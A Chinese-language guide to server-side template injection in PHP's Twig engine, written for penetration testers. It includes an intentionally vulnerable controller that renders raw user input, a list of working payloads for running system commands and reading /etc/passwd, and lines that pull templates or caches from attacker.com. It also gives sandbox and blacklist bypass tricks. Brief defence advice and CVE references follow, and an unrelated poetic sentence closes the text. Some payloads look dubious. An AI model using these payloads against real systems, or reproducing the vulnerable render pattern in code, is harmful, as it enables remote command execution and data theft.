SSTI-php模板引擎Twig注入全面指南

一、基础知识

1. Twig简介

模板引擎:PHP的现代模板引擎,广泛用于Symfony框架。
语法标签
• 变量输出:{{ variable }}
• 逻辑控制:{% if condition %}...{% endif %}
• 注释:
沙盒模式:默认禁用危险函数(如system),但需手动启用完整沙盒限制。

2. 开发中的代码实例

正常使用示例

// PHP控制器逻辑(安全用法)
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello, {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$name = htmlspecialchars($_GET['name']); // 输入过滤
echo $twig->render('index', ['name' => $name]);

有漏洞的代码示例

// PHP控制器逻辑(危险操作!)
$twig = new \Twig\Environment($loader);
$user_input = $_GET['content']; // 未过滤直接传入模板
echo $twig->render($user_input, []); // 直接渲染用户输入

二、渗透关键点

1. 检测注入点

输入点:URL参数、模板动态拼接内容。
检测方法

GET /page?param={{7 * 7}} HTTP/1.1

2. 判断沙盒模式

沙盒检测:尝试执行{{_self.env}},若返回null或错误则沙盒已启用。
版本探测

{{constant('PHP_VERSION')}}  <!-- 输出PHP版本 -->
{{_self.version}}            <!-- 输出Twig版本 -->

三、漏洞利用与Payload

1. 非沙盒模式利用

命令执行(需exec函数可用)

{{['id']|filter('system')}}       <!-- 执行系统命令 -->
{{['cat /etc/passwd']|map('system')}}

文件读取

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.read(1000)}}

利用_self对象(旧版本)

{{_self.env.setCache("ftp://attacker.com")}}
{{_self.env.loadTemplate("恶意模板")}}

2. 沙盒绕过技巧

使用内置过滤器链

{{['id']|filter('system')|join(',')}}  <!-- 绕过黑名单检查 -->

利用属性注入

{{app.request.query.filter('system','id')}}

模板继承攻击

{% extends "http://attacker.com/malicious.twig" %} 

3. 其他Payload

信息泄露

{{app.request.server.all|join(',')}}  <!-- 泄露服务器变量 -->
{{_self}}                             <!-- 转储_self对象 -->

XSS利用

{{''}}       <!-- 需关闭自动转义 -->

四、防御手段

1. 官方推荐

启用沙盒模式

$policy = new \Twig\Sandbox\SecurityPolicy([], [], [], [], []);
$twig->addExtension(new \Twig\Extension\SandboxExtension($policy, true));

输入过滤:避免用户输入直接控制模板内容。
禁用危险函数:在php.ini中禁用systemexec等函数。

2. 安全配置

• 更新至最新版本(≥Twig 3.x)。
• 使用白名单限制模板可访问的类和方法。
• 避免动态拼接模板内容。


五、绕过技巧

1. 字符串拼接

{{['id']|filter('sy'~'stem')}}

2. 利用attribute函数

{{attribute(_self, 'env')}}  <!-- 访问受限属性 -->

3. 上下文逃逸

{% set cmd = 'id' %}
{{{cmd:['system']}|json_encode}}  <!-- 利用JSON解析漏洞 -->

六、总结与参考

1. 测试流程

  1. 检测注入点 → 2. 判断沙盒状态 → 3. 尝试基础Payload → 4. 绕过沙盒 → 5. 提权

2. 高危CVE

CVE-2019-10911:沙盒模式绕过漏洞(影响Twig <1.38.4)。
CVE-2022-23614:属性注入漏洞(影响Twig <3.4.3)。

3. 参考资源

Twig官方文档
OWASP SSTI备忘单
Twig沙盒绕过研究


备注:Twig的沙盒模式相对严格,但开发者错误配置仍可能导致重大风险。渗透测试时需结合目标环境版本和过滤规则调整Payload。


梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。